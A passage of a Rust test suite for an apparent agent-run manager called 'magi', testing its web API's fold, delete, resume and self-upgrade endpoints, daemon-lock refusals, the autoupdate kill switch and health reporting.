14984 assert_eq!(
14985 body.matches("renderStatsQueue(").count(),
14986 1,
14987 "renderStats must call renderStatsQueue exactly once: {body}"
14988 );
14989 assert!(
14990 !gated.contains("renderStatsQueue"),
14991 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14992 run-derived panels on an empty run history - the queue panel has to render \
14993 regardless: {gated}"
14994 );
14995 }
14996
14997 #[test]
14998 fn web_ui_delete_contract_in_front_end() {
14999 assert!(APP_JS.contains("deleteRun:"));
15001 assert!(APP_JS.contains("deleteTask:"));
15002
15003 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
15005 ..APP_JS.find("function renderRuns").unwrap()];
15006 assert!(!run_cards_slice.to_lowercase().contains("delete"));
15007
15008 assert!(APP_JS.contains("renderRunDelete"));
15010 assert!(APP_JS.contains("runDeleteReason"));
15011 assert!(APP_JS.contains("magi fold"));
15012 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
15013
15014 assert!(APP_JS.contains("cancel.focus"));
15016 assert!(APP_JS.contains("armedRunDelete"));
15017 assert!(APP_JS.contains("renderTaskDeleteBox"));
15018 assert!(APP_JS.contains("armed${cap(key)}"));
15019
15020 assert!(APP_JS.contains("disabled: status === \"running\""));
15022 }
15023
15024 #[test]
15044 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
15045 let build = APP_JS
15046 .find("function createRunCard")
15047 .expect("createRunCard exists");
15048 let update = APP_JS
15049 .find("function updateRunCard")
15050 .expect("updateRunCard exists");
15051 let end = APP_JS
15052 .find("function renderRuns")
15053 .expect("renderRuns exists");
15054
15055 let builder = &APP_JS[build..update];
15057 let open = builder.find("refs = {").expect("createRunCard sets refs");
15058 let literal = &builder[open + "refs = {".len()..];
15059 let close = literal.find('}').expect("the refs literal is closed");
15060 let published: HashSet<&str> = literal[..close]
15061 .split(',')
15062 .filter_map(|entry| entry.split(':').next())
15064 .map(str::trim)
15065 .filter(|name| !name.is_empty())
15066 .collect();
15067 assert!(
15068 published.len() > 5,
15069 "the refs literal did not parse into names: {published:?}"
15070 );
15071
15072 let mut used: Vec<&str> = Vec::new();
15075 let updaters = &APP_JS[update..end];
15076 for (at, _) in updaters.match_indices("r.") {
15077 let before = updaters[..at].chars().next_back();
15080 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
15081 continue;
15082 }
15083 let rest = &updaters[at + 2..];
15084 let len = rest
15085 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
15086 .unwrap_or(rest.len());
15087 if len > 0 {
15088 used.push(&rest[..len]);
15089 }
15090 }
15091 assert!(
15092 used.len() > 5,
15093 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
15094 );
15095
15096 let missing: Vec<&str> = used
15097 .iter()
15098 .copied()
15099 .filter(|name| !published.contains(name))
15100 .collect();
15101 assert!(
15102 missing.is_empty(),
15103 "a run card's updater reaches for {missing:?}, which `createRunCard` \
15104 never put in `refs` - every card will throw and the list will \
15105 render empty under a count line that says otherwise. Published: \
15106 {published:?}"
15107 );
15108 }
15109
15110 #[tokio::test]
15111 async fn folding_from_the_phone_reports_what_it_removed() {
15112 let fx = Fixture::start().await;
15113 let runs = fx.runs();
15114
15115 let id = "20260901-000000-fold";
15119 write_run(&runs, id, RunStatus::Stalled);
15120 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15121 assert_eq!(res.status, 200);
15122 assert_eq!(res.json()["removed_count"], 0);
15123 assert_eq!(res.json()["run"], id);
15124 assert!(
15125 runs.join(id).exists(),
15126 "a fold keeps the run's record; only the worktrees go"
15127 );
15128 }
15129
15130 #[tokio::test]
15131 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
15132 let fx = Fixture::start().await;
15133 let runs = fx.runs();
15134 let wt = fx.home.path().join("wt").join("magi").join("dead");
15135 let id = "20260901-000000-dead";
15136 std::fs::create_dir_all(runs.join(id)).expect("run dir");
15137 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
15138 std::fs::create_dir_all(&wt).expect("worktree dir");
15139
15140 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15141 assert_eq!(res.status, 200, "{}", res.body);
15142 assert!(
15143 res.json()["removed_count"].as_u64().unwrap() > 0,
15144 "the worktree this build could not read a state for still went"
15145 );
15146 assert!(
15147 !runs.join(id).exists(),
15148 "an unreadable run has no candidate list to fold selectively, so \
15149 the whole record goes - same as `magi fold` on the CLI"
15150 );
15151 }
15152
15153 #[tokio::test]
15154 async fn deleting_an_unreadable_run_removes_it_wholesale() {
15155 let fx = Fixture::start().await;
15156 let runs = fx.runs();
15157 let wt = fx.home.path().join("wt").join("magi").join("gone");
15158 let id = "20260901-000000-gone";
15159 std::fs::create_dir_all(runs.join(id)).expect("run dir");
15160 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
15161 std::fs::create_dir_all(&wt).expect("worktree dir");
15162
15163 let res = fx.delete(&format!("/api/runs/{id}")).await;
15164 assert_eq!(res.status, 204, "{}", res.body);
15165 assert!(!runs.join(id).exists(), "the broken record is gone");
15166 assert!(!wt.exists(), "its worktree is gone too");
15167 }
15168
15169 #[tokio::test]
15170 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
15171 let fx = Fixture::start().await;
15172 let runs = fx.runs();
15173 let id = "20260901-000000-live";
15174 write_run(&runs, id, RunStatus::Implementing);
15175
15176 let mut beat = crate::daemon::Status::new();
15177 beat.current = vec![crate::daemon::Current {
15178 task: "20260901-000000-task".to_owned(),
15179 run: id.to_owned(),
15180 }];
15181 beat.updated_at = jiff::Timestamp::now();
15182 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15183 .expect("publish a heartbeat");
15184
15185 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15186 assert_eq!(res.status, 409);
15187 assert!(
15188 res.json()["error"]
15189 .as_str()
15190 .unwrap()
15191 .contains("live daemon"),
15192 "folding under a running agent would pull its worktree away"
15193 );
15194 }
15195
15196 #[tokio::test]
15197 async fn fold_merged_requires_a_pr_url() {
15198 let fx = Fixture::start().await;
15199 let runs = fx.runs();
15200 let id = "20260901-000000-nourl";
15201 write_run(&runs, id, RunStatus::Blocked);
15202
15203 let res = fx
15204 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
15205 .await;
15206 assert_eq!(res.status, 400, "{}", res.body);
15207
15208 let blank = fx
15209 .post(
15210 &format!("/api/runs/{id}/fold-merged"),
15211 Some(r#"{"pr_url":" "}"#),
15212 )
15213 .await;
15214 assert_eq!(blank.status, 400, "{}", blank.body);
15215 }
15216
15217 #[tokio::test]
15218 async fn fold_merged_is_404_for_an_unknown_run() {
15219 let fx = Fixture::start().await;
15220 let res = fx
15221 .post(
15222 "/api/runs/nosuchrun/fold-merged",
15223 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15224 )
15225 .await;
15226 assert_eq!(res.status, 404, "{}", res.body);
15227 }
15228
15229 #[tokio::test]
15230 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
15231 let fx = Fixture::start().await;
15232 let runs = fx.runs();
15233 let id = "20260901-000000-livemerge";
15234 write_run(&runs, id, RunStatus::Blocked);
15235
15236 let mut beat = crate::daemon::Status::new();
15237 beat.current = vec![crate::daemon::Current {
15238 task: "20260901-000000-task".to_owned(),
15239 run: id.to_owned(),
15240 }];
15241 beat.updated_at = jiff::Timestamp::now();
15242 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15243 .expect("publish a heartbeat");
15244
15245 let res = fx
15246 .post(
15247 &format!("/api/runs/{id}/fold-merged"),
15248 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15249 )
15250 .await;
15251 assert_eq!(res.status, 409, "{}", res.body);
15252 assert!(
15253 res.json()["error"]
15254 .as_str()
15255 .unwrap()
15256 .contains("live daemon"),
15257 "correcting a run's merge underneath a running agent would race \
15258 whatever it is doing to the same `status`/`merge` fields"
15259 );
15260 }
15261
15262 #[tokio::test]
15267 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
15268 let fx = Fixture::start().await;
15269 let runs = fx.runs();
15270 let id = "20260901-000000-unconfirmed";
15271 write_run(&runs, id, RunStatus::Blocked);
15272
15273 let res = fx
15274 .post(
15275 &format!("/api/runs/{id}/fold-merged"),
15276 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15277 )
15278 .await;
15279 assert_eq!(res.status, 400, "{}", res.body);
15280 assert_eq!(
15281 read_run(&runs, id).unwrap().status,
15282 RunStatus::Blocked,
15283 "a pull request that could not be confirmed merged must leave \
15284 the run exactly where it was"
15285 );
15286 }
15287
15288 #[tokio::test]
15289 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
15290 let fx = Fixture::start().await;
15291 let runs = fx.runs();
15292
15293 for (status, word) in [
15299 (RunStatus::Merged, "merged"),
15300 (RunStatus::Ready, "ready"),
15301 (RunStatus::Failed, "failed"),
15302 ] {
15303 let id = format!("20260901-000000-{}", &word[..4]);
15304 write_run(&runs, &id, status);
15305 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
15306 assert_eq!(res.status, 409, "{word} must not be resumable");
15307 let err = res.json()["error"].as_str().unwrap().to_owned();
15308 assert!(err.contains(word), "the refusal names the status: {err}");
15309 }
15310
15311 let mid = "20260901-000000-midf";
15316 write_run(&runs, mid, RunStatus::Reviewing);
15317 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
15318 assert_eq!(res.status, 202, "an interrupted run is resumable");
15319 }
15320
15321 #[tokio::test]
15322 async fn resume_is_refused_while_the_loop_is_running() {
15323 let fx = Fixture::start().await;
15324 let runs = fx.runs();
15325 let stalled = "20260901-000000-stal";
15326 write_run(&runs, stalled, RunStatus::Stalled);
15327
15328 let mut beat = crate::daemon::Status::new();
15332 beat.current = vec![crate::daemon::Current {
15333 task: "20260901-000000-task".to_owned(),
15334 run: "20260901-000000-othr".to_owned(),
15335 }];
15336 beat.updated_at = jiff::Timestamp::now();
15337 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15338 .expect("publish a heartbeat");
15339
15340 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
15341 assert_eq!(res.status, 409);
15342 let err = res.json()["error"].as_str().unwrap().to_owned();
15343 assert!(err.contains("othr"), "it names what the loop is on: {err}");
15344 assert!(err.contains("stop it first"), "{err}");
15345 }
15346
15347 #[test]
15348 fn a_run_cannot_be_resumed_twice_at_once() {
15349 let home = TempDir::new().expect("temp home");
15350 let ui = Ui::new(
15351 Queue::at(home.path().join("queue")),
15352 Questions::at(home.path().join("questions")),
15353 Talks::at(home.path().join("talks")),
15354 home.path().join("runs"),
15355 home.path().to_path_buf(),
15356 PathBuf::from("/repo"),
15357 )
15358 .with_worktrees_root(home.path().join("wt"));
15359 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
15360 let again = ui.begin_resume("20260901-000000-once");
15361 assert!(again.is_err(), "a second tap must not start a second graph");
15362 drop(first);
15363 assert!(
15364 ui.begin_resume("20260901-000000-once").is_ok(),
15365 "and the claim is released when the attempt ends"
15366 );
15367 }
15368
15369 #[test]
15370 fn talk_thinking_tracks_only_its_held_turn_claim() {
15371 let home = TempDir::new().expect("temp home");
15372 let ui = Ui::new(
15373 Queue::at(home.path().join("queue")),
15374 Questions::at(home.path().join("questions")),
15375 Talks::at(home.path().join("talks")),
15376 home.path().join("runs"),
15377 home.path().to_path_buf(),
15378 PathBuf::from("/repo"),
15379 )
15380 .with_worktrees_root(home.path().join("wt"));
15381 let id = "20260901-000000-once";
15382
15383 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
15384 let turn = ui.begin_talk_turn(id).expect("claim turn");
15385 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
15386 assert!(
15387 !ui.is_thinking("20260901-000000-other"),
15388 "one talk's turn does not make another talk busy"
15389 );
15390 drop(turn);
15391 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
15392 }
15393
15394 #[test]
15395 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
15396 let home = TempDir::new().expect("temp home");
15397 let talks = Talks::at(home.path().join("talks"));
15398 let ui = Ui::new(
15399 Queue::at(home.path().join("queue")),
15400 Questions::at(home.path().join("questions")),
15401 talks.clone(),
15402 home.path().join("runs"),
15403 home.path().to_path_buf(),
15404 PathBuf::from("/repo"),
15405 )
15406 .with_worktrees_root(home.path().join("wt"));
15407 let id = "20260901-000000-cross";
15408
15409 let other = Talks::at(home.path().join("talks"))
15410 .claim_turn(id)
15411 .expect("claim")
15412 .expect("the other process wins");
15413 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
15414 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
15415 assert!(
15416 matches!(
15417 ui.begin_talk_turn_unless_pending(id).expect("start"),
15418 TalkTurnStart::Foreign
15419 ),
15420 "a foreign holder is refused, not queued behind"
15421 );
15422 assert!(
15423 !ui.talk_turns.lock().unwrap().live.contains(id),
15424 "a refused claim leaves no in-process entry behind"
15425 );
15426 drop(other);
15427 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
15428 assert!(talks.turn_held(id), "the web turn holds the lease");
15429 drop(turn);
15430 assert!(
15431 !talks.turn_held(id),
15432 "dropping the guard releases the lease"
15433 );
15434 }
15435
15436 #[test]
15437 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
15438 let home = TempDir::new().expect("temp home");
15439 let talks = Talks::at(home.path().join("talks"));
15440 let ui = Ui::new(
15441 Queue::at(home.path().join("queue")),
15442 Questions::at(home.path().join("questions")),
15443 talks.clone(),
15444 home.path().join("runs"),
15445 home.path().to_path_buf(),
15446 PathBuf::from("/repo"),
15447 )
15448 .with_worktrees_root(home.path().join("wt"));
15449 let id = "20260901-000000-order";
15450 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15451 let slots = ui.talk_turns.lock().unwrap();
15453 let dropper = std::thread::spawn(move || drop(turn));
15454 let start = std::time::Instant::now();
15455 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
15456 std::thread::sleep(Duration::from_millis(5));
15457 }
15458 assert!(!talks.turn_held(id), "the lease is released first");
15459 assert!(slots.live.contains(id), "the slot is still held meanwhile");
15460 drop(slots);
15461 dropper.join().expect("join");
15462 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
15463 }
15464
15465 #[tokio::test]
15466 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
15467 let fx = Fixture::start().await;
15468 let mut beat = crate::daemon::Status::new();
15472 beat.pid = 4321;
15473 beat.updated_at = jiff::Timestamp::now();
15474 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15475 .expect("publish a heartbeat");
15476
15477 let res = fx.post("/api/upgrade", None).await;
15478 assert_eq!(res.status, 409);
15479 let err = res.json()["error"].as_str().unwrap().to_owned();
15480 assert!(err.contains("4321"), "the refusal names the owner: {err}");
15481 assert!(err.contains("old one against the same queue"), "{err}");
15482 }
15483
15484 #[test]
15491 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
15492 assert!(!should_spawn_recheck(&crate::config::Update {
15493 mode: UpdateMode::Off,
15494 interval: None,
15495 }));
15496
15497 unsafe {
15500 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15501 }
15502 let killed = should_spawn_recheck(&crate::config::Update {
15503 mode: UpdateMode::Notify,
15504 interval: None,
15505 });
15506 unsafe {
15507 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15508 }
15509 assert!(
15510 !killed,
15511 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
15512 one-time startup check"
15513 );
15514
15515 assert!(should_spawn_recheck(&crate::config::Update {
15516 mode: UpdateMode::Notify,
15517 interval: None,
15518 }));
15519 }
15520
15521 #[test]
15527 fn recheck_poll_period_tracks_a_short_configured_interval() {
15528 let short = crate::config::Update {
15529 mode: UpdateMode::Notify,
15530 interval: Some("1m".to_owned()),
15531 };
15532 let period = recheck_poll_period(&short);
15533 assert!(
15534 period <= Duration::from_secs(30),
15535 "a one-minute interval must wake the task far sooner than the \
15536 default ceiling, or the deck would not notice within the \
15537 interval the operator configured: got {period:?}"
15538 );
15539
15540 let default = crate::config::Update {
15541 mode: UpdateMode::Notify,
15542 interval: None,
15543 };
15544 assert_eq!(
15545 recheck_poll_period(&default),
15546 UPDATE_RECHECK_POLL_MAX,
15547 "the default day-long interval should poll at the (capped) \
15548 ceiling rather than needlessly often"
15549 );
15550 }
15551
15552 #[test]
15560 fn recheck_skips_the_network_before_the_interval_elapses() {
15561 let dir = TempDir::new().expect("temp dir");
15562 let path = dir.path().join("state.json");
15563 let state = kaishin::UpdateCheckState {
15564 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
15565 last_known_latest: None,
15566 last_known_url: None,
15567 };
15568 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
15569
15570 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
15571 assert!(
15572 !update_recheck_due(&checker, None),
15573 "a check made moments ago must not be repeated before the \
15574 configured interval elapses"
15575 );
15576 }
15577
15578 #[test]
15584 fn recheck_defers_to_an_upgrade_already_in_flight() {
15585 let dir = TempDir::new().expect("temp dir");
15586 let path = dir.path().join("state.json");
15587 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
15588 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
15589
15590 assert!(
15591 !update_recheck_due(&checker, Some(&progress)),
15592 "a recheck must not run while an upgrade this deck started is \
15593 still moving"
15594 );
15595 }
15596
15597 #[tokio::test]
15598 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
15599 unsafe {
15611 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15612 }
15613 let fx = Fixture::start().await;
15614 let res = fx.post("/api/upgrade", None).await;
15615 unsafe {
15616 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15617 }
15618 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15619 let body = res.json();
15620 assert!(body["to"].is_null(), "there was no release to move to");
15621 assert!(body["parked"].is_null(), "and nothing was parked");
15622 assert!(
15623 body["detail"]
15624 .as_str()
15625 .unwrap()
15626 .contains("disabled by MAGI_NO_AUTOUPDATE"),
15627 "{body:?}"
15628 );
15629 }
15630
15631 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
15632 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
15633 p.stage = stage;
15634 p
15635 }
15636
15637 #[test]
15638 fn busy_stages_match_the_ui_set() {
15639 use crate::updater::Stage;
15640 assert!(APP_JS.contains(
15641 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
15642 ));
15643 for s in [
15644 Stage::Downloading,
15645 Stage::Replaced,
15646 Stage::Parking,
15647 Stage::Restarting,
15648 ] {
15649 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
15650 }
15651 for s in [Stage::Done, Stage::Failed] {
15652 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
15653 }
15654 assert!(upgrade_in_motion(None).is_none());
15655 }
15656
15657 #[tokio::test]
15658 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
15659 use crate::updater::Stage;
15660 for stage in [
15661 Stage::Downloading,
15662 Stage::Replaced,
15663 Stage::Parking,
15664 Stage::Restarting,
15665 ] {
15666 let fx = Fixture::start().await;
15667 let seeded = seeded_progress(stage);
15668 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
15669 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15670 .expect("read");
15671
15672 let res = fx.post("/api/upgrade", None).await;
15673 assert_eq!(res.status, 409, "{stage:?}");
15674 let err = res.json()["error"].as_str().unwrap().to_owned();
15675 assert!(err.contains("already in progress"), "{err}");
15676 assert!(err.contains(stage.as_str()), "{err}");
15677
15678 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15679 .expect("read");
15680 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
15681 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
15682 .unwrap_or_default();
15683 assert!(!log.contains("signalling HANDOVER"), "{log}");
15684 }
15685 }
15686
15687 #[tokio::test]
15688 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
15689 use crate::updater::Stage;
15690 let repo = TempDir::new().expect("repo dir");
15691 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15692 .expect("write magi.toml");
15693 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15694 for stage in [Stage::Done, Stage::Failed] {
15695 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
15696 let res = fx.post("/api/upgrade", None).await;
15697 assert_eq!(res.status, 200, "{stage:?}");
15698 }
15699 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
15701 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
15702 }
15703
15704 #[tokio::test]
15705 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
15706 let repo = TempDir::new().expect("repo dir");
15722 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15723 .expect("write magi.toml");
15724 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15725
15726 let res = fx.post("/api/upgrade", None).await;
15732 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15733 let body = res.json();
15734 assert!(body["to"].is_null(), "there was no release to move to");
15735 assert!(body["parked"].is_null(), "and nothing was parked");
15736 assert!(
15737 body["detail"]
15738 .as_str()
15739 .unwrap()
15740 .contains("nothing restarted"),
15741 "{body:?}"
15742 );
15743 }
15744
15745 #[tokio::test]
15746 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15747 let repo = TempDir::new().expect("repo dir");
15752 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15753 .expect("write magi.toml");
15754 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15755
15756 let health = fx.get("/api/health").await.json();
15757 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15758 assert_eq!(
15759 health["update"]["available"], false,
15760 "checking is off, which reads as \"unknown\", not \"none\""
15761 );
15762 assert!(health["update"]["to"].is_null());
15763 assert!(
15764 health["upgrade"].is_null(),
15765 "nothing has ever asked this deck to upgrade"
15766 );
15767 }
15768
15769 #[tokio::test]
15770 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15771 let fx = Fixture::start().await;
15772 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15773
15774 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15775 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15776 progress.advance(crate::updater::Stage::Parking);
15777 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15778
15779 let health = fx.get("/api/health").await.json();
15780 assert_eq!(health["upgrade"]["stage"], "parking");
15781 assert_eq!(health["upgrade"]["from"], "0.5.1");
15782 assert_eq!(health["upgrade"]["to"], "0.5.2");
15783 let waiting_on = health["upgrade"]["waiting_on"]
15784 .as_str()
15785 .expect("waiting_on is set while parking a known run");
15786 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15787 assert!(waiting_on.contains("implementing"), "{waiting_on}");
15788 }
15789
15790 #[tokio::test]
15791 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15792 let fx = Fixture::start().await;
15793 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15794 progress.advance(crate::updater::Stage::Done);
15795 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15796
15797 let health = fx.get("/api/health").await.json();
15798 assert_eq!(health["upgrade"]["stage"], "done");
15799 assert!(
15800 health["upgrade"]["waiting_on"].is_null(),
15801 "nothing to wait on once it is done"
15802 );
15803 }
15804
15805 #[tokio::test]
15806 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15807 let home = TempDir::new().expect("temp home");
15808 let runs = home.path().join("runs");
15809 std::fs::create_dir_all(&runs).expect("runs dir");
15810 let ui = Ui::new(
15811 Queue::at(home.path().join("queue")),
15812 Questions::at(home.path().join("questions")),
15813 Talks::at(home.path().join("talks")),
15814 runs,
15815 home.path().to_path_buf(),
15816 PathBuf::from("/repo/magi"),
15817 )
15818 .with_launch(launch_idle);
15819 let looping = ui.looping();
15820 let turns = ui.turns();
15821 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15822 .await
15823 .expect("bind loopback");
15824 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15825
15826 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15827 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15828
15829 hand_over(
15830 home.path(),
15831 &looping,
15832 &turns,
15833 &|_: &[String]| Duration::from_secs(5),
15834 served,
15835 |_| Ok(1),
15836 )
15837 .await
15838 .expect("hand over");
15839
15840 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15841 assert_eq!(
15842 after.stage,
15843 crate::updater::Stage::Restarting,
15844 "hand_over owns the record through parking and up to restarting; \
15845 the successor is what finishes it"
15846 );
15847 }
15848
15849 #[tokio::test]
15852 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15853 for fail in [false, true] {
15854 let home = TempDir::new().expect("temp home");
15855 let ui = idle_ui(&home);
15856 let looping = ui.looping();
15857 let turns = ui.turns();
15858 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15859 .await
15860 .expect("bind loopback");
15861 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15862 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15863 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15864
15865 let calls = std::sync::atomic::AtomicUsize::new(0);
15866 let outcome = hand_over(
15867 home.path(),
15868 &looping,
15869 &turns,
15870 &|_: &[String]| Duration::from_secs(5),
15871 served,
15872 |_| {
15873 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15874 if fail {
15875 anyhow::bail!("no exec")
15876 } else {
15877 Ok(4242)
15878 }
15879 },
15880 )
15881 .await;
15882 assert_eq!(outcome.is_err(), fail);
15883 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15884
15885 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15886 .expect("upgrade.log is written under the home");
15887 for step in [
15888 "entered",
15889 "finish_loop",
15890 "listener released",
15891 "starting the successor",
15892 ] {
15893 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15894 }
15895 assert!(
15896 log.contains(if fail { "did not start" } else { "pid 4242" }),
15897 "{log}"
15898 );
15899 }
15900 }
15901
15902 #[tokio::test]
15905 async fn the_handover_signal_wakes_one_waiter_once() {
15906 let signal = Notify::new();
15907 signal.notify_one();
15909 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15910 .await
15911 .expect("an early signal is still seen");
15912 assert!(
15914 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15915 .await
15916 .is_err(),
15917 "a consumed signal must not wake a second time"
15918 );
15919 let signal = std::sync::Arc::new(signal);
15921 let waiter = tokio::spawn({
15922 let signal = std::sync::Arc::clone(&signal);
15923 async move { wait_for_handover(&signal).await }
15924 });
15925 tokio::time::sleep(Duration::from_millis(20)).await;
15926 assert!(!waiter.is_finished(), "nothing was signalled yet");
15927 signal.notify_one();
15928 tokio::time::timeout(Duration::from_secs(5), waiter)
15929 .await
15930 .expect("a late signal wakes the waiter")
15931 .expect("join");
15932 }
15933
15934 #[tokio::test]
15935 async fn health_says_how_long_a_handover_has_been_stuck() {
15936 let fx = Fixture::start().await;
15937 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15938 progress.advance(crate::updater::Stage::Replaced);
15939 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15940 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15941
15942 let health = fx.get("/api/health").await.json();
15943 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15944 assert!(stuck >= 600, "{stuck}");
15945 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15946 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15947 }
15948
15949 #[tokio::test]
15950 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15951 let home = tempfile::tempdir().expect("temp home");
15952 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15953 progress.advance(crate::updater::Stage::Parking);
15954 crate::updater::write_progress(home.path(), &progress).expect("seed");
15955 let mut again = progress.clone();
15957 again.advance(crate::updater::Stage::Replaced);
15958 crate::updater::write_progress(home.path(), &again).expect("replaced");
15959 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15960 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15961 let after = crate::updater::read_progress(home.path()).expect("record");
15962 assert_eq!(after.stage, crate::updater::Stage::Parking);
15963 }
15964
15965 #[tokio::test]
15966 async fn health_does_not_call_a_live_parking_wait_stuck() {
15967 let fx = Fixture::start().await;
15968 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15969 progress.parked_run = Some("20260905-000000-cd51".to_owned());
